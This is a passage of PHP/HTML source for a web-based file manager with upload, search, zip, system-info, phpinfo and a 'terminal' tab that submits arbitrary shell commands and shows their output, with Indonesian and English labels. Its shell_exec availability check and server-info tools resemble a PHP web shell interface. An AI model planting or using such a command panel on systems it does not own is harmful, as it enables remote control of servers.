fa-xmark"></i> <?=$t['bulk_cancel']?></button> </div> <div class="tbl-wrap"> <table> <thead> <tr> <th style="width:34px"><input type="checkbox" id="selectAll" class="row-cb" onclick="toggleSelectAll(this)" title="<?=$t['select_all']?>"></th> <th style="width:40%"><?=sort_link('name',$t['name'],'fa-solid fa-file',$sort_by,$current_dir,$sort_dir,$active_tab,$lp)?></th> <th style="width:10%"><?=sort_link('size',$t['size'],'fa-solid fa-weight-hanging',$sort_by,$current_dir,$sort_dir,$active_tab,$lp)?></th> <th style="width:15%"><?=sort_link('mtime',$t['modified'],'fa-regular fa-clock',$sort_by,$current_dir,$sort_dir,$active_tab,$lp)?></th> <th style="width:8%"><?=sort_link('perms',$t['mode'],'fa-solid fa-lock',$sort_by,$current_dir,$sort_dir,$active_tab,$lp)?></th> <th><i class="fa-solid fa-bolt" style="margin-right:4px;color:var(--b3)"></i> <?=$t['action']?></th> </tr> </thead> <tbody><?php listDirectory($current_dir,$sort_by,$sort_dir,$view_mode,$active_tab,$t,$lp);?></tbody> </table> </div> </div> <!-- TAB: UPLOAD --> <div id="tab-upload" class="tab-content <?=$active_tab==='upload'?'active':''?>"> <form method="post" enctype="multipart/form-data" action="?dir=<?=$eDir?>&tab=upload<?=$lp?>"> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-cloud-arrow-up"></i></div><div class="panel-hdr-title"><?=$t['upload_title']?></div></div> <div class="panel-body"> <div class="file-drop" id="fileDrop"> <input type="file" name="files[]" id="fileInput" multiple onchange="handleFileChange(this)"> <div class="file-drop-label"><i class="fa-solid fa-cloud-arrow-up"></i><span id="fileName"><?=$t['upload_hint']?></span></div> </div> <button type="submit" name="upload" class="btn btn-v"><i class="fa-solid fa-upload"></i> <?=$t['tab_upload']?></button> <div style="font-size:.7rem;color:var(--mute)"><i class="fa-solid fa-circle-info" style="color:var(--v2)"></i> <?=$t['upload_to']?>: <code style="color:var(--c2)"><?=htmlspecialchars($current_dir)?></code></div> </div> </div> </form> </div> <!-- TAB: CREATE --> <div id="tab-create" class="tab-content <?=$active_tab==='create'?'active':''?>"> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-plus"></i></div><div class="panel-hdr-title"><?=$t['create_title']?></div></div> <div class="panel-body"> <form method="post" action="?dir=<?=$eDir?>&tab=create<?=$lp?>" style="display:flex;gap:9px;flex-wrap:wrap;align-items:center"> <i class="fa-solid fa-file-circle-plus" style="color:var(--v2)"></i> <span style="font-size:.74rem;color:var(--dim);min-width:70px"><?=$t['new_file']?></span> <input type="text" name="new_file_name" placeholder="<?=$t['file_ph']?>" class="field-sm" style="flex:1"> <button type="submit" name="create_file" class="btn btn-c"><i class="fa-solid fa-plus"></i> <?=$t['create_file']?></button> </form> <hr style="border-color:var(--b1);margin:2px 0"> <form method="post" action="?dir=<?=$eDir?>&tab=create<?=$lp?>" style="display:flex;gap:9px;flex-wrap:wrap;align-items:center"> <i class="fa-solid fa-folder-plus" style="color:var(--y)"></i> <span style="font-size:.74rem;color:var(--dim);min-width:70px"><?=$t['new_folder']?></span> <input type="text" name="new_folder_name" placeholder="<?=$t['folder_ph']?>" class="field-sm" style="flex:1"> <button type="submit" name="create_folder" class="btn btn-c"><i class="fa-solid fa-plus"></i> <?=$t['create_folder']?></button> </form> </div> </div> </div> <!-- TAB: ZIP --> <div id="tab-zip" class="tab-content <?=$active_tab==='zip'?'active':''?>"> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-file-zipper"></i></div><div class="panel-hdr-title"><?=$t['zip_title']?></div></div> <div class="panel-body"> <form method="post" action="?dir=<?=$eDir?>&tab=zip<?=$lp?>"> <div style="display:flex;gap:9px;align-items:center;flex-wrap:wrap;margin-bottom:11px"> <input type="text" name="zip_name" placeholder="<?=$t['zip_name_ph']?>" class="field-sm" style="flex:1"> <button type="submit" name="create_zip" class="btn btn-v"><i class="fa-solid fa-file-zipper"></i> <?=$t['make_zip']?></button> </div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:7px"><?=$t['select_files']?></div> <div style="max-height:260px;overflow-y:auto;background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);padding:9px;display:flex;flex-direction:column;gap:3px;"> <?php $all_files_zip=array_filter(@scandir($current_dir)?:[], fn($f)=>$f!='.'&&$f!='..'&&is_file($current_dir.'/'.$f)); if(empty($all_files_zip)) echo '<span style="font-size:.76rem;color:var(--mute)">'.$t['no_files'].'</span>'; foreach($all_files_zip as $fz):[$ic,$col]=fa_icon($fz);?> <label style="display:flex;align-items:center;gap:7px;font-size:.76rem;cursor:pointer;padding:5px 7px;border-radius:var(--radp);transition:background .12s;" onmouseover="this.style.background='var(--s2)'" onmouseout="this.style.background=''"> <input type="checkbox" name="zip_files[]" value="<?=htmlspecialchars($fz)?>" style="accent-color:var(--v)"> <i class="<?=$ic?>" style="color:<?=$col?>"></i> <span style="flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap"><?=htmlspecialchars($fz)?></span> <span style="color:var(--mute);font-family:'Fira Code',monospace;font-size:.67rem"><?=fmt_size(filesize($current_dir.'/'.$fz))?></span> </label> <?php endforeach;?> </div> </form> </div> </div> </div> <!-- TAB: SEARCH --> <div id="tab-search" class="tab-content <?=$active_tab==='search'?'active':''?>"> <form method="post" action="?dir=<?=$eDir?>&tab=search<?=$lp?>"> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-magnifying-glass"></i></div><div class="panel-hdr-title"><?=$t['search_title']?></div></div> <div class="panel-body"> <div style="display:flex;gap:9px;flex-wrap:wrap;align-items:center"> <input type="text" name="search_query" placeholder="<?=$t['search_ph']?>" value="<?=htmlspecialchars($search_query)?>" class="field-sm" style="flex:1"> <button type="submit" name="search_files" class="btn btn-v"><i class="fa-solid fa-search"></i> <?=$t['search_btn']?></button> <?php if($search_query):?><a href="?dir=<?=$eDir?>&tab=search<?=$lp?>" class="btn btn-ghost"><i class="fa-solid fa-xmark"></i> <?=$t['search_reset']?></a><?php endif;?> </div> <div style="font-size:.7rem;color:var(--mute)"><i class="fa-solid fa-circle-info" style="color:var(--v2)"></i> <?=$t['search_in']?>: <code style="color:var(--c2)"><?=htmlspecialchars($current_dir)?></code></div> <?php if($search_query&&!empty($search_results)):?> <div style="font-size:.72rem;color:var(--c2)"><i class="fa-solid fa-check-circle"></i> <?=count($search_results)?> <?=$t['results_found']?></div> <div style="max-height:380px;overflow-y:auto;display:flex;flex-direction:column;gap:5px;"> <?php foreach($search_results as $result):?> <div class="search-result-item" onclick="location='?dir=<?=urlencode(dirname($result['path']))?>&tab=files<?=$lp?>'"> <i class="fa-solid <?=$result['is_dir']?'fa-folder':'fa-file'?>" style="color:<?=$result['is_dir']?'#ffd166':'var(--v2)'?>"></i> <div class="search-result-path"><?=htmlspecialchars($result['path'])?></div> <?php if(!$result['is_dir']&&$result['size']>0):?><span style="font-family:'Fira Code',monospace;font-size:.65rem;color:var(--mute);flex-shrink:0"><?=fmt_size($result['size'])?></span><?php endif;?> <div class="search-result-type"><?=$result['is_dir']?'DIR':'FILE'?></div> </div> <?php endforeach;?> </div> <?php elseif($search_query):?> <div style="font-size:.78rem;color:var(--mute);text-align:center;padding:22px"><i class="fa-solid fa-circle-xmark" style="margin-right:5px;color:var(--r)"></i><?=$t['no_results']?> "<?=htmlspecialchars($search_query)?>"</div> <?php endif;?> </div> </div> </form> </div> <!-- TAB: TERMINAL --> <div id="tab-terminal" class="tab-content <?=$active_tab==='terminal'?'active':''?>"> <div class="panel"> <div class="panel-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-terminal"></i></div><div class="panel-hdr-title"><?=$t['terminal_title']?></div></div> <div class="panel-body"> <div class="editor-meta"> <span><i class="fa-solid fa-folder"></i> <?=htmlspecialchars($current_dir)?></span> <span><i class="fa-brands fa-php"></i> PHP <?=PHP_VERSION?></span> <?php $shell_disabled=(!function_exists('shell_exec')||in_array('shell_exec',array_map('trim',explode(',',ini_get('disable_functions'))))); if($shell_disabled) echo '<span style="color:var(--r)"><i class="fa-solid fa-lock"></i> '.$t['shell_disabled'].'</span>'; else echo '<span style="color:var(--g)"><i class="fa-solid fa-circle-check"></i> '.$t['shell_enabled'].'</span>'; ?> </div> <form method="post" action="?dir=<?=$eDir?>&tab=terminal<?=$lp?>" id="termForm"> <div style="display:flex;gap:9px;align-items:center"> <span style="font-family:'Fira Code',monospace;font-size:.88rem;color:var(--g);flex-shrink:0">$</span> <input type="text" name="cmd_input" id="cmdInput" class="field-sm" placeholder="<?=$t['cmd_ph']?>" value="<?=htmlspecialchars($cmd_input_val)?>" autocomplete="off" spellcheck="false" style="flex:1"> <button type="submit" name="run_cmd" class="btn btn-v"><i class="fa-solid fa-play"></i> <?=$t['run']?></button> </div> </form> <?php if($cmd_output!==''):?> <div class="terminal-wrap"><span class="tprompt">$ <?=htmlspecialchars($cmd_input_val)?></span><div class="tout"><?=htmlspecialchars($cmd_output)?></div></div> <?php else:?> <div style="font-size:.75rem;color:var(--mute);text-align:center;padding:18px;border:1px dashed var(--b2);border-radius:var(--rads)"><i class="fa-solid fa-terminal" style="margin-right:5px;color:var(--b3)"></i><?=$t['output_here']?></div> <?php endif;?> <div style="font-size:.68rem;color:var(--mute)"><i class="fa-solid fa-triangle-exclamation" style="color:var(--y)"></i> <?=$t['terminal_warn']?></div> </div> </div> </div> <!-- TAB: TOOLS --> <div id="tab-tools" class="tab-content <?=$active_tab==='tools'?'active':''?>"> <!-- TOOLS GRID --> <div class="tools-grid"> <div class="tool-card" onclick="toggleToolPanel('tool-sysinfo')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(124,92,252,.15);color:var(--v2)"><i class="fa-solid fa-server"></i></div> <div class="tool-card-title"><?=$t['tool_sysinfo']?></div> </div> <div class="tool-card-desc"><?=$t['tool_sysinfo_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-hash')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(0,245,196,.12);color:var(--c)"><i class="fa-solid fa-hashtag"></i></div> <div class="tool-card-title"><?=$t['tool_hash']?></div> </div> <div class="tool-card-desc"><?=$t['tool_hash_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-base64')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(255,209,102,.12);color:var(--y)"><i class="fa-solid fa-code"></i></div> <div class="tool-card-title"><?=$t['tool_base64']?></div> </div> <div class="tool-card-desc"><?=$t['tool_base64_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-chmod')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(255,152,0,.12);color:var(--o)"><i class="fa-solid fa-lock"></i></div> <div class="tool-card-title"><?=$t['tool_chmod']?></div> </div> <div class="tool-card-desc"><?=$t['tool_chmod_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-json')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(57,255,126,.12);color:var(--g)"><i class="fa-solid fa-brackets-curly"></i></div> <div class="tool-card-title"><?=$t['tool_json']?></div> </div> <div class="tool-card-desc"><?=$t['tool_json_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-regex')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(255,77,141,.12);color:var(--pk2)"><i class="fa-solid fa-magnifying-glass-plus"></i></div> <div class="tool-card-title"><?=$t['tool_regex']?></div> </div> <div class="tool-card-desc"><?=$t['tool_regex_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-htpasswd')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(86,204,242,.12);color:#56ccf2"><i class="fa-solid fa-key"></i></div> <div class="tool-card-title"><?=$t['tool_htpasswd']?></div> </div> <div class="tool-card-desc"><?=$t['tool_htpasswd_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-imgconv')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(171,71,188,.12);color:#ce93d8"><i class="fa-solid fa-image"></i></div> <div class="tool-card-title"><?=$t['tool_imgcomp']?></div> </div> <div class="tool-card-desc"><?=$t['tool_imgcomp_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-phpinfo')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(137,146,191,.12);color:#8892bf"><i class="fa-brands fa-php"></i></div> <div class="tool-card-title"><?=$t['tool_phpinfo']?></div> </div> <div class="tool-card-desc"><?=$t['tool_phpinfo_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-cron')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(255,61,107,.12);color:var(--r)"><i class="fa-solid fa-clock-rotate-left"></i></div> <div class="tool-card-title"><?=$t['tool_cron']?></div> </div> <div class="tool-card-desc"><?=$t['tool_cron_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-uuid')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(138,43,226,.12);color:#8a2be2"><i class="fa-solid fa-fingerprint"></i></div> <div class="tool-card-title"><?=$t['tool_uuid']?></div> </div> <div class="tool-card-desc"><?=$t['tool_uuid_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-urlenc')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(255,140,0,.12);color:#ff8c00"><i class="fa-solid fa-link"></i></div> <div class="tool-card-title"><?=$t['tool_urlenc']?></div> </div> <div class="tool-card-desc"><?=$t['tool_urlenc_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-textstats')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(50,205,50,.12);color:#32cd32"><i class="fa-solid fa-rectangle-list"></i></div> <div class="tool-card-title"><?=$t['tool_textstats']?></div> </div> <div class="tool-card-desc"><?=$t['tool_textstats_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-passgen')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(220,20,60,.12);color:#dc143c"><i class="fa-solid fa-shield-halved"></i></div> <div class="tool-card-title"><?=$t['tool_passgen']?></div> </div> <div class="tool-card-desc"><?=$t['tool_passgen_desc']?></div> </div> <div class="tool-card" onclick="toggleToolPanel('tool-timestamp')"> <div class="tool-card-header"> <div class="tool-card-icon" style="background:rgba(30,144,255,.12);color:#1e90ff"><i class="fa-solid fa-calendar-days"></i></div> <div class="tool-card-title"><?=$t['tool_timestamp']?></div> </div> <div class="tool-card-desc"><?=$t['tool_timestamp_desc']?></div> </div> </div> <!-- TOOL: SYSTEM INFO --> <div id="tool-sysinfo" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-server"></i></div><span class="panel-hdr-title"><?=$t['tool_sysinfo']?></span></div> <div class="tool-section-body"> <table class="sysinfo-table"> <?php foreach($sys_info as $k=>$v):?> <tr><td><?=htmlspecialchars(ucwords(str_replace('_',' ',$k)))?></td><td><?=htmlspecialchars($v)?></td></tr> <?php endforeach;?> <tr><td>PHP Extensions</td><td><details><summary style="cursor:pointer;color:var(--v2)"><?=count(get_loaded_extensions())?> loaded</summary><div style="margin-top:7px;font-size:.72rem;line-height:1.8"><?=implode(', ',get_loaded_extensions())?></div></details></td></tr> </table> </div> </div> </div> <!-- TOOL: HASH GENERATOR --> <div id="tool-hash" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-hashtag"></i></div><span class="panel-hdr-title"><?=$t['tool_hash']?></span></div> <div class="tool-section-body"> <div class="tool-row"> <span class="tool-label"><?=$t['hash_text']?></span> <input type="text" id="hashInput" class="field-sm" style="flex:1" placeholder="Enter text to hash..."> <button class="btn btn-v" onclick="doHash()"><i class="fa-solid fa-hashtag"></i> <?=$t['generate']?></button> </div> <div id="hashResult" style="display:none;display:flex;flex-direction:column;gap:7px"> <?php foreach(['md5'=>'MD5','sha1'=>'SHA1','sha256'=>'SHA256','sha512'=>'SHA512'] as $hk=>$hl):?> <div> <div style="font-size:.65rem;color:var(--dim);margin-bottom:3px;display:flex;align-items:center;gap:6px"><?=$hl?> <button class="copy-btn" onclick="copyText('hash-<?=$hk?>')">copy</button></div> <div class="tool-result" id="hash-<?=$hk?>">โ</div> </div> <?php endforeach;?> </div> </div> </div> </div> <!-- TOOL: BASE64 --> <div id="tool-base64" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-code"></i></div><span class="panel-hdr-title"><?=$t['tool_base64']?></span></div> <div class="tool-section-body"> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px"><?=$t['input']?></div> <textarea id="b64Input" class="field" style="height:100px"placeholder="Enter text or Base64..."></textarea> </div> <div style="display:flex;gap:8px;flex-wrap:wrap"> <button class="btn btn-v" onclick="doB64('enc')"><i class="fa-solid fa-lock"></i> <?=$t['encode']?></button> <button class="btn btn-c" onclick="doB64('dec')"><i class="fa-solid fa-unlock"></i> <?=$t['decode']?></button> <button class="btn btn-ghost" onclick="copyText('b64Output')">Copy <?=$t['output']?></button> <button class="btn btn-ghost" style="margin-left:auto" onclick="document.getElementById('b64Input').value='';document.getElementById('b64Output').textContent='โ'">Clear</button> </div> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px;display:flex;align-items:center;gap:7px"><?=$t['output']?> <button class="copy-btn" onclick="copyText('b64Output')">copy</button></div> <div class="tool-result" id="b64Output">โ</div> </div> </div> </div> </div> <!-- TOOL: CHMOD CALC --> <div id="tool-chmod" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-lock"></i></div><span class="panel-hdr-title"><?=$t['tool_chmod']?></span></div> <div class="tool-section-body"> <div class="chmod-grid"> <?php foreach(['Owner','Group','Other'] as $grp):$pfx=strtolower(substr($grp,0,1));?> <div class="chmod-group"> <div class="chmod-group-title"><?=$grp?></div> <div class="chmod-cb-row"> <label class="chmod-cb-item"><input type="checkbox" class="chmod-cb" data-val="4" data-grp="<?=$pfx?>" onchange="calcChmod()"> Read (r)</label> <label class="chmod-cb-item"><input type="checkbox" class="chmod-cb" data-val="2" data-grp="<?=$pfx?>" onchange="calcChmod()"> Write (w)</label> <label class="chmod-cb-item"><input type="checkbox" class="chmod-cb" data-val="1" data-grp="<?=$pfx?>" onchange="calcChmod()"> Execute (x)</label> </div> </div> <?php endforeach;?> </div> <div class="chmod-result-big" id="chmodResult">000</div> <div style="display:flex;gap:7px;flex-wrap:wrap"> <?php foreach(['755'=>'755 (rwxr-xr-x)','644'=>'644 (rw-r--r--)','777'=>'777 (rwxrwxrwx)','600'=>'600 (rw-------)','444'=>'444 (r--r--r--)'] as $v=>$l):?> <button class="btn btn-ghost" style="font-size:.72rem" onclick="setChmod('<?=$v?>')"><?=$l?></button> <?php endforeach;?> </div> </div> </div> </div> <!-- TOOL: JSON FORMATTER --> <div id="tool-json" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-brackets-curly"></i></div><span class="panel-hdr-title"><?=$t['tool_json']?></span></div> <div class="tool-section-body"> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px"><?=$t['input']?> (raw JSON)</div> <textarea id="jsonInput" class="field" style="height:120px" placeholder='{"key":"value","arr":[1,2,3]}'></textarea> </div> <div style="display:flex;gap:8px;flex-wrap:wrap"> <button class="btn btn-v" onclick="doJson('format')"><i class="fa-solid fa-align-left"></i> <?=$t['format']?></button> <button class="btn btn-c" onclick="doJson('minify')"><i class="fa-solid fa-compress"></i> Minify</button> <button class="btn btn-ghost" onclick="copyText('jsonOutput')">Copy</button> </div> <div> <div id="jsonStatus" style="font-size:.72rem;margin-bottom:5px"></div> <div class="tool-result" id="jsonOutput">โ</div> </div> </div> </div> </div> <!-- TOOL: REGEX TESTER --> <div id="tool-regex" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-magnifying-glass-plus"></i></div><span class="panel-hdr-title"><?=$t['tool_regex']?></span></div> <div class="tool-section-body"> <div class="tool-row"> <span class="tool-label"><?=$t['pattern']?></span> <input type="text" id="regexPattern" class="field-sm" style="flex:1" placeholder="/pattern/i"> </div> <div class="tool-row"> <span class="tool-label"><?=$t['subject']?></span> <input type="text" id="regexSubject" class="field-sm" style="flex:1" placeholder="Test string here..."> </div> <button class="btn btn-v" onclick="doRegex()"><i class="fa-solid fa-play"></i> <?=$t['test']?></button> <div id="regexResult" class="tool-result">โ</div> </div> </div> </div> <!-- TOOL: HTPASSWD --> <div id="tool-htpasswd" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-key"></i></div><span class="panel-hdr-title"><?=$t['tool_htpasswd']?></span></div> <div class="tool-section-body"> <div class="tool-row"> <span class="tool-label">Username</span> <input type="text" id="htUser" class="field-sm" style="flex:1" placeholder="admin"> </div> <div class="tool-row"> <span class="tool-label">Password</span> <input type="password" id="htPass" class="field-sm" style="flex:1" placeholder="โขโขโขโขโขโขโขโข"> <button class="btn btn-ghost" onclick="toggleHtPass()"><i class="fa-solid fa-eye" id="htEyeIcon"></i></button> </div> <button class="btn btn-v" onclick="doHtpasswd()"><i class="fa-solid fa-key"></i> <?=$t['generate']?></button> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px;display:flex;align-items:center;gap:7px"> <?=$t['result']?> <button class="copy-btn" onclick="copyText('htResult')">copy</button> </div> <div class="tool-result" id="htResult">โ</div> </div> <div style="font-size:.7rem;color:var(--mute)"><i class="fa-solid fa-circle-info" style="color:var(--v2)"></i> <?=$lang==='id'?'Hasil dapat langsung di-paste ke file .htpasswd':'Result can be pasted directly into your .htpasswd file'?> </div> </div> </div> </div> <!-- TOOL: IMAGE CONVERTER --> <div id="tool-imgconv" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-image"></i></div><span class="panel-hdr-title"><?=$t['tool_imgcomp']?></span></div> <div class="tool-section-body"> <?php if(!function_exists('imagecreatefromstring')):?> <div style="color:var(--r);font-size:.78rem"><i class="fa-solid fa-triangle-exclamation"></i> GD extension not available on this server.</div> <?php else:?> <form id="imgConvForm" onsubmit="doImgConv(event)"> <div style="display:flex;flex-direction:column;gap:10px"> <div class="tool-row"> <span class="tool-label"><?=$t['select_image']?></span> <input type="file" id="imgFile" class="field-sm" accept="image/*" style="flex:1"> </div> <div class="tool-row"> <span class="tool-label"><?=$lang==='id'?'Format output':'Output format'?></span> <select id="imgFmt" class="field-sm" style="flex:none;width:120px"> <option value="png">PNG</option> <option value="jpg">JPEG</option> <option value="webp">WebP</option> <option value="gif">GIF</option> </select> <span class="tool-label" style="min-width:60px"><?=$t['img_quality']?></span> <input type="number" id="imgQuality" class="field-sm" style="flex:none;width:70px" value="85" min="1" max="100"> </div> <div class="tool-row"> <span class="tool-label"><?=$t['resize_width']?></span> <input type="number" id="imgW" class="field-sm" style="flex:1" placeholder="0 = auto"> <span class="tool-label" style="min-width:60px"><?=$t['resize_height']?></span> <input type="number" id="imgH" class="field-sm" style="flex:1" placeholder="0 = auto"> </div> <button type="submit" class="btn btn-v"><i class="fa-solid fa-image"></i> <?=$t['convert']?></button> </div> </form> <div id="imgConvResult" style="display:none"> <div style="font-size:.72rem;color:var(--dim);margin-bottom:7px" id="imgConvInfo"></div> <img id="imgConvPreview" style="max-width:100%;border:1px solid var(--b2);border-radius:var(--rads)"> <div style="margin-top:8px"><a id="imgConvDownload" class="btn btn-c" download><i class="fa-solid fa-download"></i> Download</a></div> </div> <?php endif;?> </div> </div> </div> <!-- TOOL: PHP INFO --> <div id="tool-phpinfo" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-brands fa-php"></i></div><span class="panel-hdr-title"><?=$t['tool_phpinfo']?></span></div> <div class="tool-section-body"> <div style="font-size:.78rem;color:var(--dim)"><?=$lang==='id'?'PHP Info akan ditampilkan di tab/jendela baru.':'PHP Info will open in a new tab/window.'?></div> <a href="?dir=<?=$eDir?>&phpinfo=1<?=$lp?>" target="_blank" class="btn btn-v"><i class="fa-brands fa-php"></i> <?=$t['open_tool']?> phpinfo()</a> </div> </div> </div> <!-- TOOL: CRON BUILDER --> <div id="tool-cron" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-clock-rotate-left"></i></div><span class="panel-hdr-title"><?=$t['tool_cron']?></span></div> <div class="tool-section-body"> <div style="display:grid;grid-template-columns:repeat(5,1fr);gap:8px"> <?php $cronFields=[ 'minute' =>['label'=>'Minute','ph'=>'0-59 or *','tip'=>'0=top of hour, */5=every 5min'], 'hour' =>['label'=>'Hour','ph'=>'0-23 or *','tip'=>'0=midnight, 12=noon'], 'day_month' =>['label'=>'Day (Month)','ph'=>'1-31 or *','tip'=>'Day of month'], 'month' =>['label'=>'Month','ph'=>'1-12 or *','tip'=>'1=Jan, 12=Dec'], 'day_week' =>['label'=>'Day (Week)','ph'=>'0-6 or *','tip'=>'0=Sun, 6=Sat'], ]; foreach($cronFields as $fk=>$fv):?> <div> <div style="font-size:.65rem;color:var(--dim);margin-bottom:4px;font-weight:700"><?=$fv['label']?></div> <input type="text" id="cron-<?=$fk?>" class="field-sm" placeholder="<?=$fv['ph']?>" oninput="buildCron()" title="<?=$fv['tip']?>" value="*"> </div> <?php endforeach;?> </div> <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap"> <div class="tool-result" id="cronOutput" style="flex:1;min-height:auto;padding:10px 14px;font-size:.9rem">* * * * *</div> <button class="copy-btn" onclick="copyText('cronOutput')" style="padding:6px 12px">Copy</button> </div> <div style="font-size:.72rem;color:var(--dim)"> <strong style="color:var(--v3)"><?=$lang==='id'?'Preset:':'Presets:'?></strong> </div> <div style="display:flex;gap:6px;flex-wrap:wrap"> <?php $presets=[ '* * * * *' =>$lang==='id'?'Setiap menit':'Every minute', '0 * * * *' =>$lang==='id'?'Setiap jam':'Every hour', '0 0 * * *' =>$lang==='id'?'Setiap hari tengah malam':'Daily midnight', '0 0 * * 0' =>$lang==='id'?'Setiap Minggu':'Every Sunday', '0 0 1 * *' =>$lang==='id'?'Setiap awal bulan':'Monthly', '*/5 * * * *' =>$lang==='id'?'Setiap 5 menit':'Every 5 min', '0 9-17 * * 1-5'=>$lang==='id'?'Jam kerja':'Business hours', ]; foreach($presets as $pv=>$pl):?> <button class="btn btn-ghost" style="font-size:.7rem;padding:4px 10px" onclick="setCron('<?=$pv?>')"><?=$pl?></button> <?php endforeach;?> </div> <div id="cronDesc" style="font-size:.76rem;color:var(--c2);background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads);padding:9px 13px;"></div> </div> </div> </div> <!-- TOOL: UUID GENERATOR --> <div id="tool-uuid" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-fingerprint"></i></div><span class="panel-hdr-title"><?=$t['tool_uuid']?></span></div> <div class="tool-section-body"> <div class="tool-row"> <span class="tool-label"><?=$lang==='id'?'Jumlah UUID':'Number of UUIDs'?></span> <input type="number" id="uuidCount" class="field-sm" value="1" min="1" max="20" style="flex:none;width:80px"> <button class="btn btn-v" onclick="doUUID()"><i class="fa-solid fa-fingerprint"></i> <?=$t['generate']?></button> </div> <div id="uuidResult" class="tool-result">โ</div> <button class="copy-btn" onclick="copyText('uuidResult')" style="margin-top:8px"><?=$t['copy_to_clipboard']?></button> </div> </div> </div> <!-- TOOL: URL ENCODER/DECODER --> <div id="tool-urlenc" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-link"></i></div><span class="panel-hdr-title"><?=$t['tool_urlenc']?></span></div> <div class="tool-section-body"> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px"><?=$t['input']?></div> <textarea id="urlencInput" class="field" style="height:100px" placeholder="Enter text or URL..."></textarea> </div> <div style="display:flex;gap:8px;flex-wrap:wrap"> <button class="btn btn-v" onclick="doUrlEnc('encode')"><i class="fa-solid fa-lock"></i> <?=$t['encode']?></button> <button class="btn btn-c" onclick="doUrlEnc('decode')"><i class="fa-solid fa-unlock"></i> <?=$t['decode']?></button> <button class="btn btn-ghost" onclick="copyText('urlencResult')">Copy</button> </div> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px;display:flex;align-items:center;gap:7px"><?=$t['output']?> <button class="copy-btn" onclick="copyText('urlencResult')">copy</button></div> <div class="tool-result" id="urlencResult">โ</div> </div> </div> </div> </div> <!-- TOOL: TEXT STATISTICS --> <div id="tool-textstats" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-rectangle-list"></i></div><span class="panel-hdr-title"><?=$t['tool_textstats']?></span></div> <div class="tool-section-body"> <div> <div style="font-size:.72rem;color:var(--dim);margin-bottom:5px"><?=$t['input']?></div> <textarea id="statsInput" class="field" style="height:120px" placeholder="Enter text to analyze..." oninput="doTextStats()"></textarea> </div> <div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(120px,1fr));gap:10px;margin-top:10px"> <div> <div style="font-size:.7rem;color:var(--dim);margin-bottom:3px"><?=$lang==='id'?'Karakter':'Characters'?></div> <div class="tool-result" id="stat-chars" style="min-height:auto;padding:8px;font-size:1rem;font-weight:600">0</div> </div> <div> <div 